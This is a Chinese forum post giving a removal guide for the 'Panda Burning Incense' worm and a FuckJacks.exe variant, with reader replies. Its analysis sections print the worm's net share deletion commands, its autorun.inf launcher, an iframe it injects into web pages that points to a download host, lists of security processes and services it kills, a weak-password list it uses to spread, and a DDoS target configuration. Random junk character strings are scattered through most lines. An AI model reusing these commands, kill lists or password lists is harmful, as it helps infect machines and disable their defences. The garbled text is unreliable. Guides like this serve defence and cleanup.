熊猫烧香病毒专杀及手动修复方案

鱼宝宝

介绍一下熊猫烧香病毒、熊猫烧香病毒变种的查杀方法，及熊猫烧香病毒的手动清除方案。提供了病毒进程为spoclsv.exe和FuckJacks.exe变种的解决方案，和熊猫烧香病毒专杀工具。

在动手查杀熊猫烧香病毒之前，强烈建议先注意以下四点：

1.本文包含两种熊猫烧香病毒变种的描述，请注意查看病毒症状，根据实际情况选用不同的查杀方法。

2.对于被熊猫烧香病毒感染的.exe可执行文件，推荐先备份，再修复！

3.找回被熊猫烧香病毒删除的ghost(.gho)文件，详情请见文中！

4.对计算机了解不多的用户，请在专家指导下清除熊猫烧香病毒。

熊猫烧香病毒变种一：病毒进程为“spoclsv.exe”

这是“熊猫烧香”早期变种之一，特别之处是“杀死杀毒软件”，最恶劣之处在于感染全盘.exe文件和删除.gho文件（Ghost的镜像文件）。最有“灵感”的一招莫过于在所有htm/html/asp/php/jsp/aspx文件末尾添加一段代码来调用病毒。目前所有专杀工具及杀毒软件均不会修复此病毒行为。需要手动清除病毒添加的代码，且一定要清除。否则访问了有此代码的网页，又会感染。其他老一点的“熊猫烧香”spoclsv变种的病毒行为比此版本少。就不再单独列出。

病毒描述：

“武汉男生”，俗称“熊猫烧香”，这是一个感染型的蠕虫病毒，它能感染系统中exe，com，pif，src，html，asp等文件，它还能中止大量的反病毒软件进程并且会删除扩展名为gho的文件，（.gho为GHOST的备份文件），使用户的系统备份文件丢失。被感染的用户系统中所有.exe可执行文件全部被改成熊猫举着三根香的模样。

以下是熊猫烧香病毒详细行为和解决办法：

熊猫烧香病毒详细行为：

1.复制自身到系统目录下：

%System%\drivers\spoclsv.exe（“%System%”代表Windows所在目录，比如：C:\Windows）
3 ]' r7 M& Z. [( S- v不同的spoclsv.exe变种，此目录可不同。比如12月爆发的变种目录是：C:\WINDOWS\System32\Drivers\spoclsv.exe。

2.创建启动项：
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
. Y+ ~, r5 {$ j" a( x- W　　"svcshare"="%System%\drivers\spoclsv.exe"
) e6 J' v  [8 P
, `3 x/ _8 g, v$ E; `% ?+ s; R( u& e3.在各分区根目录生成病毒副本：　　X:\setup.exe
　　X:\autorun.inf
autorun.inf内容：
[AutoRun]
　　OPEN=setup.exe
1 l4 M: _) Y. @1 b$ H　　shellexecute=setup.exe
　　shell\Auto\command=setup.exe

* `' [& Q% R7 V0 M4.使用net share命令关闭管理共享：
$ X1 d7 ^+ i' lcmd.exe /c net share X$ /del /y
0 H$ h/ p4 \  V3 [　　cmd.exe /c net share admin$ /del /y
! @5 R# T$ ~! X% n+ ^
5.修改“显示所有文件和文件夹”设置：
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion
. C+ E5 ?: z! J  O6 V　　\Explorer\Advanced\Folder\Hidden\SHOWALL]
  n# O1 J5 ^1 A% J; `7 F　　"CheckedValue"=dword:00000000
) R) g/ f$ {, U
6.熊猫烧香病毒尝试关闭安全软件相关窗口：
" f7 ]/ i, ^; L天网
: h! u8 y: H$ o/ R6 K' H防火墙进程
5 N! `3 t$ C! LVirusScan
NOD32
网镖杀毒毒霸瑞星江民黄山IE
超级兔子优化大师木马清道夫木馬清道夫
; i# B6 X. j8 `1 F3 gQQ病毒注册表编辑器系统配置实用程序卡巴斯基反病毒
' {/ i! E8 _4 q. QSymantec AntiVirus
% l/ t+ Q; [3 b" u: B7 J/ b7 RDuba
Windows 任务管理器
; D0 f" K& _. ]esteem procs
7 s- M( |) X* g: _8 s& D绿鹰PC
' g4 p8 z4 e9 E6 z) n: _密码防盗噬菌体木马辅助查找器
System Safety Monitor
! b; `* T& a2 rWrapped gift Killer
Winsock Expert
游戏木马检测大师超级巡警
msctls_statusbar32
pjf(ustc)
! \8 ~2 W) c( RIceSword
3 G9 s- H& D1 T2 S0 e7 ~' [! M
! B) x! o$ Q" [* F7.尝试结束安全软件相关进程以及Viking病毒（威金病毒）进程：
Mcshield.exe
' G% U4 X& I: w　　VsTskMgr.exe
! |, [4 t" _8 @* p' [　　naPrdMgr.exe
　　UpdaterUI.exe
& S4 c& n" N3 _7 f　　TBMon.exe
( S5 H& R  j8 i% m- P8 P　　scan32.exe
　　Ravmond.exe
　　CCenter.exe
　　RavTask.exe
8 p3 c4 a' s$ F/ h　　Rav.exe
　　Ravmon.exe
3 A: H, A: m6 {& G! J" H( C2 Z# m　　RavmonD.exe
3 m4 b" z: f% E: u　　RavStub.exe
　　KVXP.kxp
　　KvMonXP.kxp
6 F! n  C0 s  w　　KVCenter.kxp
* I# s1 V. \4 d5 n- [& m　　KVSrvXP.exe
! P' y* l. L( s' @　　KRegEx.exe
) l- }) [* Y! i3 F( V: S: U　　UIHost.exe
2 C" n2 S' x, W6 s1 ~, Y　　TrojDie.kxp
* a, i( ~% {% Q/ N; [( c% b　　FrogAgent.exe
2 d" o( N4 V" u& b$ ?) K7 a! B　　Logo1_.exe
　　Logo_1.exe
　　Rundl132.exe

8.禁用安全软件相关服务：
5 P# b5 Z" j6 a2 {& T: tSchedule
　　sharedaccess
9 C6 ?! r& y8 s( T# y　　RsCCenter
( f: M: V- v) k% H; G( Z) T　　RsRavMon
　　KVWSC
　　KVSrvXP
" V. Z6 [9 ]4 R% l8 c　　kavsvc
　　AVP
　　McAfeeFramework
* \, w& h6 x2 ]& @, z& ^　　McShield
& @% A6 A& H) _1 z* G2 ^) R# h　　McTaskManager
2 r3 l( b( Q" f" x　　navapsvc
　　wscsvc
　　KPfwSvc
  |% g- R9 f( T3 [8 e; {　　SNDSrvc
/ ]* v. j" N0 C  f$ b1 @6 N) f　　ccProxy
' G, a' q' n) Y. }　　ccEvtMgr
$ g1 u: P* P+ m3 a　　ccSetMgr
1 T# C6 e; P/ A' s; u　　SPBBCSvc
! t/ |+ |1 u$ l' g　　Symantec Core LC
　　NPFMntor
" l4 H3 }! l( u% o4 O' s+ g" K　　MskService
! w  d& S& h$ l2 ]　　FireSvc

2 Q. c& o2 P% q% h: ?9.删除安全软件相关启动项：
$ u3 l* }  G& o0 W7 \SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RavTask
) x( U" X) V- J6 T& g1 \　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\KvMonXP
　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\kav
　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\KAVPersonal50
  U8 J+ r" s  Z3 j$ ^& D　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\McAfeeUpdaterUI
$ Y9 x1 Q1 T% |　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Network Associates Error           
Reporting Service
' I' b* ~, i6 i- Z　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ShStatEXE
　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\YLive.exe
2 G( R' m" K$ D2 X9 i　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\yassistse
$ Y% Q- E+ ?1 ^; Z$ Y10.遍历目录修改htm/html/asp/php/jsp/aspx等网页文件，在这些文件尾部追加信息：
) Z0 s( o0 w, t9 A<iframe src="hxxp://www.ctv163.com/wuhan/down.htm" width="0" height="0" frameborder="0"> </iframe>
但不修改以下目录中的网页文件：
' h, K( ]* j% R  t3 Z, iC:\WINDOWS
　　C:\WINNT
& ]4 @& B  [. |3 q+ ~3 n& g　　C:\system32
2 a) x6 G/ i  |, h0 K　　C:\Documents and Settings
, ?/ d1 U; I& {5 M* ~6 {5 |$ m　　C:\System Volume Information
　　C:\Recycled
7 ~) n, c, i: }1 i8 u$ ?　　Program Files\Windows NT
& A3 @; D) k0 \( z  k　　Program Files\WindowsUpdate
, x/ a% e  \! ]4 `　　Program Files\Windows Media Player
9 w7 D. ^, b1 H　　Program Files\Outlook Express
5 |" l- g0 c6 }& o  q　　Program Files\Internet Explorer
) I+ `& N$ ~# E8 j) p　　Program Files\NetMeeting
　　Program Files\Common Files
　　Program Files\ComPlus Applications
0 i9 ~  ^' n" {　　Program Files\Messenger
5 q, [: }! D& {7 c" Y. s　　Program Files\InstallShield Installation Information
　　Program Files\MSN
& W: r" Z/ `7 i* c8 Y( ~4 C　　Program Files\Microsoft Frontpage
3 O5 n7 i+ @9 ?" f& |9 I4 R　　Program Files\Movie Maker
- \4 e5 |! g" M9 h0 }, K4 F& q+ y　　Program Files\MSN Gamin Zone
11.在访问过的目录下生成Desktop_.ini文件，内容为当前日期。
; T3 \' k; T' o. _0 S3 R12.此外，病毒还会尝试删除GHO文件。
7 @; w. q3 b! w. i1 G' x病毒还尝试使用弱密码将副本以GameSetup.exe的文件名复制到局域网内其它计算机中：　　password
% A) c: u' K; `. T. p　　harley
3 M6 T4 X8 K' h; |6 u　　golf
　　pussy
6 ~  ?. g5 H- C7 Z4 C4 `　　mustang
% e8 @9 B4 f7 N( F　　shadow
　　fish
' w/ q0 E! {# I. P& n) V　　qwerty
　　baseball
　　letmein
% ~& B* j; f7 K% s　　ccc
　　admin
: p* L: i0 N; w; ?　　abc
2 @5 V8 M7 j7 y6 H: V2 X/ A5 n- t　　pass
　　passwd
　　database
4 G  ]. N+ C- H. V( k0 W　　abcd
/ L0 ?" f) T5 q3 O; ~! V* W0 y! _　　abc123
- X  B1 c5 U8 N; \- N. S' W4 ?　　sybase
# Z; h& C0 X  T　　123qwe
, e: v- i5 z9 w6 U　　server
　　computer
. B6 G) `2 }8 B　　super
- S; L: N& o& m/ e8 @) G9 }7 l　　123asd
　　ihavenopass
; R( f. ?, S0 F( l  M　　godblessyou
/ O' _7 N$ U7 x8 _5 w# j　　enable
$ S. F7 C% [1 C+ \* X　　alpha
　　1234qwer
0 L/ o9 g5 C+ [3 J  `" u" [　　123abc
　　aaa
# f- P5 H9 C" o. _' ^; S  f9 x　　patrick
! H. n6 [' M) c8 j/ y　　pat
- e: V0 S6 F" Q9 Q( {" O　　administrator
- h7 U1 b& J: F2 r$ i6 t9 n　　root
8 W: v+ w6 K! L3 x: {* e　　sex
　　god
　　fuckyou
" y, e5 w5 j/ N$ E/ K3 Y5 \+ S　　fuck
　　test
7 L# D% }9 C' ^5 i/ c　　test123
　　temp
7 S5 c- P- r! a2 Y+ k8 O* ]* W; o+ t　　temp123
　　win
' x1 ]! [! H9 _4 H! @　　asdf
　　pwd
; m# t6 O' a/ }$ v1 `  a　　qwer
　　yxcv
　　zxcv
0 {1 i. R1 C% k) h8 p+ e　　home
# T3 |" n. Y! v4 u8 @# k% T　　xxx
　　owner
　　login
) j' A1 G5 z2 |1 Y7 \2 Q5 L% m# K　　Login
# Y' q6 Y. M; _　　love
　　mypc
. V$ T2 [# N0 @$ z! c. f$ {5 S" x' F　　mypc123
　　admin123
6 L! P( _+ h2 k( X3 d　　mypass
　　mypass123
　　Administrator
9 `3 p6 R5 U1 F9 v# W& g　　Guest
　　admin
  ]. }% c  I9 L7 Q: I9 q　　Root

/ j/ [) y( V9 a$ H2 Z& J9 s# p病毒文件内含有这些信息：
1 w' q0 f! N+ Y  L" y5 J1 I$ C
0 H) d2 A+ t: A: d5 Ewhboy
　　***武*汉*男*生*感*染*下*载*者***
解决方案：
  g, a" L" X+ A/ H% G7 r
1. 结束病毒进程：
%System%\drivers\spoclsv.exe
4 A% `) w" n/ X不同的spoclsv.exe变种，此目录可不同。比如12月爆发的变种目录是：C:\WINDOWS\System32\Drivers\spoclsv.exe。但可用此方法清除。
“%System%\system32\spoclsv.exe”是系统文件。（目前看来没有出现插入该系统进程的变种，不排除变种的手法变化。）
查看当前运行spoclsv.exe的路径，可使用超级兔子魔法设置。

3 O) N' g: z& |; t2. 删除病毒文件：
; {, i) x, q, v%System%\drivers\spoclsv.exe
请注意区分病毒和系统文件。详见步骤1。

" [0 `. v* P' \2 @! h3. 删除病毒启动项：
4 C& O1 }1 y- Q% A7 o# s6 W[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
　　"svcshare"="%System%\drivers\spoclsv.exe"
# [- m8 i. x2 o8 ~
, k4 ?9 s$ Z8 |5 m6 z% D4 y9 R4. 通过分区盘符右键菜单中的“打开”进入分区根目录，删除根目录下的病毒文件：
X:\setup.exe
　　X:\autorun.inf
3 M1 S( G5 T- ], O9 g) \& Z( R5 {2 r( \
" O3 Q$ n# K- |" S) q5 Q3 u5. 恢复被修改的“显示所有文件和文件夹”设置：
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion
% |& u0 S8 R$ L: L' f　　\Explorer\Advanced\Folder\Hidden\SHOWALL]
% h7 D: Q4 r) ~# C3 j　　"CheckedValue"=dword:00000001
, [2 J. e; U5 U( n# d6 L! \
6. 修复或重新安装被破坏的安全软件。

7 W: P; _+ H1 G- q- c, y  q7.修复被感染的程序。可用专杀工具进行修复，收集了四个供读者使用。
' y- ^2 P) R! }5 p' z金山熊猫烧香病毒专杀工具
http://down.www.kingsoft.com/db/download/othertools/DuBaTool_WhBoy.BAT
& h8 E0 w$ e# b. ^8 b4 z; n安天熊猫烧香病毒专杀工具
7 a7 _. v8 M' j/ D5 phttp://www.antiy.com/download/KillPP.scr
江民熊猫烧香病毒专杀工具
http://ec.jiangmin.com/test/PandaKiller.rar
" e: A0 a2 w2 R% j5 I# w瑞星熊猫烧香病毒专杀工具
http://download.rising.com.cn/zsgj/NimayaKiller.scr
。也可用手动方法（见本文末）。
7 G: i( X" K. Y. D. T4 }
6 Q9 h& m0 m- G4 R8. 恢复被修改的网页文件，可以使用某些编辑网页的工具替换被添加文字为空。机器上有htm/html/asp/php/jsp/aspx等网页文件，一定要删除此段代码。有危险代码的网页一但发布到网页可能会感染其他用户。
% f) k8 e# v" U2 V
- x% x6 r. @: f) F& y0 g熊猫烧香病毒变种二：病毒进程为“FuckJacks.exe”
) X! o. ]8 j& c. t# `
! G6 `1 {) ^( h" A; j" ~以下是数据安全实验室提供的信息与方法。
病毒描述：
含有病毒体的文件被运行后，病毒将自身拷贝至系统目录，同时修改注册表将自身设置为开机启动项，并遍历各个驱动器，将自身写入磁盘根目录下，增加一个Autorun.inf文件，使得用户打开该盘时激活病毒体。随后病毒体开一个线程进行本地文件感染，同时开另外一个线程连接某网站下载ddos程序进行发动恶意攻击。
5 B: b9 A7 x# C6 F8 R) {
6 y, k! [% y" g病毒基本情况：

[文件信息]

病毒名: Virus.Win32.EvilPanda.a.ex$
　　大小: 0xDA00 (55808), (disk) 0xDA00 (55808)
. Y; Y( ~( y# l' K8 }　　SHA1  : F0C3DA82E1620701AD2F0C8B531EEBEA0E8AF69D
　　壳信息: 未知　　危害级别：高
: u' G7 T8 Q! N# r
4 Q% i- U; s$ S4 n' B5 k3 q病毒名: Flooder.Win32.FloodBots.a.ex$
　　大  小: 0xE800 (59392), (disk) 0xE800 (59392)
　　SHA1  : B71A7EF22A36DBE27E3830888DAFC3B2A7D5DA0D
　　壳信息: UPX 0.89.6 - 1.02 / 1.05 - 1.24
　　危害级别：高
7 O* X3 A! Y) `. [4 E( d9 ~
病毒行为：

Virus.Win32.EvilPanda.a.ex$ ：

* S5 @$ T% }; c) A$ ?5 W- ?  p1、病毒体执行后，将自身拷贝到系统目录：
%SystemRoot%\system32\FuckJacks.exe
" f, t! w' O: j# O7 z0 E; X
* V, ~# q, d! a0 C6 ^6 ?
+ w" s  T" J+ u# I　　2、添加注册表启动项目确保自身在系统重启动后被加载：
键路径：HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
　　键名：FuckJacks
　　键值："C:WINDOWS\system32\FuckJacks.exe"

键路径：HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
　　键名：svohost
# C% e/ y) p7 u! ^/ j( i: U8 ?; L　　键值："C:WINDOWS\system32\FuckJacks.exe"
8 b2 y" R# G% ?. q9 t2 t+ @$ n
3、拷贝自身到所有驱动器根目录，命名为Setup.exe，并生成一个autorun.inf使得用户打开该盘运行病毒，并将这两个文件属性设置为隐藏、只读、系统。
$ t4 z: R$ Y7 @& Y2 LC:autorun.inf    1KB    RHS
　　C:setup.exe    230KB    RHS
( w& T# I4 s. |6 k) u
4、关闭众多杀毒软件和安全工具。
' Y" u$ t/ n1 }; ?: Q2 d$ w
$ M7 O" ?! `! }" K1 `5、连接*****.3322.org下载某文件，并根据该文件记录的地址，去www.****.com下载某ddos程序，下载成功后执行该程序。

9 w. |  R' n8 a6、刷新bbs.qq.com，某QQ秀链接。

7、循环遍历磁盘目录，感染文件，对关键系统文件跳过，不感染Windows媒体播放器、MSN、IE 等程序。
9 N' a/ y! Q) m4 _% ?
Flooder.Win32.FloodBots.a.ex$ ：

1、病毒体执行后，将自身拷贝到系统目录：
%SystemRoot%\SVCH0ST.EXE（注意文件名中的“0”是数字“零”，不是字母“o”）　　%SystemRoot%\system32\SVCH0ST.EXE（注意文件名中的“0”是数字“零”，不是字母“o”）
6 {! z1 O9 Q; e6 f9 `5 h6 w2 E3 K
1 r3 k) p7 J/ a" U. T% f2、该病毒后下载运行后，添加注册表启动项目确保自身在系统重启动后被加载：
键路径：HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
　　键名：Userinit
) w/ z0 Y& y, _5 c: L0 X6 Y　　键值："C:WINDOWS\system32\SVCH0ST.exe"
9 w6 }: X7 @3 R  ^* S* S) I" c
" d" L3 q3 q. O4 t9 M1 P3、连接ddos2.****.com，获取攻击地址列表和攻击配置，并根据配置文件，进行相应的攻击。
配置文件如下：
www。victim.net:3389
　　www。victim.net:80
/ n4 X. {+ u" F( t) r( i　　www。victim.com:80
) f! k& |8 \  v* |' Q　　www。victim.net:80
　　1
. r, w. E/ x9 x4 s/ q! \/ i　　1
　　120
5 n  v; S1 P6 M; F3 z　　50000

8 _! ^6 Y: b6 j' P2 F( x! y  y解决方案：

1. 断开网络

7 @; }  e2 z9 Q/ a6 H2. 结束病毒进程：%System%\FuckJacks.exe

3. 删除病毒文件：%System%\FuckJacks.exe
- d, m! G* o; O5 A" p
4. 右键点击分区盘符，点击右键菜单中的“打开”进入分区根目录，删除根目录下的文件：X:\autorun.inf
　　X:\setup.exe
6 U, j* s$ o/ l. E+ w
5. 删除病毒创建的启动项：
, |2 v7 N, ^' V. M/ l0 d[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
/ u2 u  H1 x  I. W! S1 k　　"FuckJacks"="%System%\FuckJacks.exe"
: u/ K: _6 f% `6 k: y) k[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
　　"svohost"="%System%\FuckJacks.exe"

6. 修复或重新安装反病毒软件

  A1 s5 A( X/ t- w* j& Y# b7. 使用反病毒软件或专杀工具进行全盘扫描，清除恢复被感染的exe文件。也可用以下的手动方法恢复文件。
/ ?9 B8 s' m, G0 N% L# t8 V
8 @& t! U! L: ^/ S  a1 L6 T手动恢复中毒文件（在虚拟机上通过测试，供参考）

5 s; v. w/ y  ]8 h! |1.在清除病毒文件的同时不删除%SYSTEM%下面释放FuckJacks.exe的这个文件，即执行之前的步骤1、2、4、5。

2.打开“运行”输入“gpedit.msc”打开组策略－本地计算机策略－windows设置－安全设置－软件限制策略－其它规则。在其它规则上右键选择－新散列规则－打开新散列规则窗口
  {% ~4 T) n# v" K# h
/ J' y( i: h; s- @9 T. u3.在文件散列上点击浏览找到%SYSTEM%下面释放FuckJacks.exe文件。安全级别选择－不允许的。确定后重启。

4.重启后可以双击运行已经被熊猫感染的程序。运行程序后该FuckJacks.exe文件会在注册表里的Run键下建立启动项（不会有问题的）。

9 t* }4 E- ]& Z: D5 ^/ }5 u" n5.双击运行被感染的程序已经恢复原来样子了。全部回复后，用SREng把FuckJacks.exe在注册表里的启动项删除即可！

幻镜

其实还有一个很简单的方法可以将伤害降到最小。

; i2 V( g. R5 @8 }5 D& Q& @# f就是将那个GHOST备份文件不要设置为后缀GHO

你换一个后缀不就没事了吗？
* d/ q7 Y5 d9 T0 X8 l恢复时后缀只是起显示作用
只要你选准正确文件就照样恢复

rulingdanny

很讨厌的病毒 最近中找了 真是对卡巴斯基越来越没有信息了 防御能力＝0

Sonic鼠

妈的我也中招了！！！
2 X8 f( C! L, |0 T) h  l3 S2 u存的片子和游戏全没了！！气死我了！！！
3 M; ^! o- T6 C5 [& `" y% Y7 |' T- Z这病毒出现后没想到是金山反应最快~
1 r, E% f3 |; b9 Q- d3 G瑞星都没招真没用~~~哎…………火大啊……

bmx极限运动

谢谢楼主的分享！！

kk11qq

谢谢楼主的分享！！

kk11qq

谢谢楼主的分享！！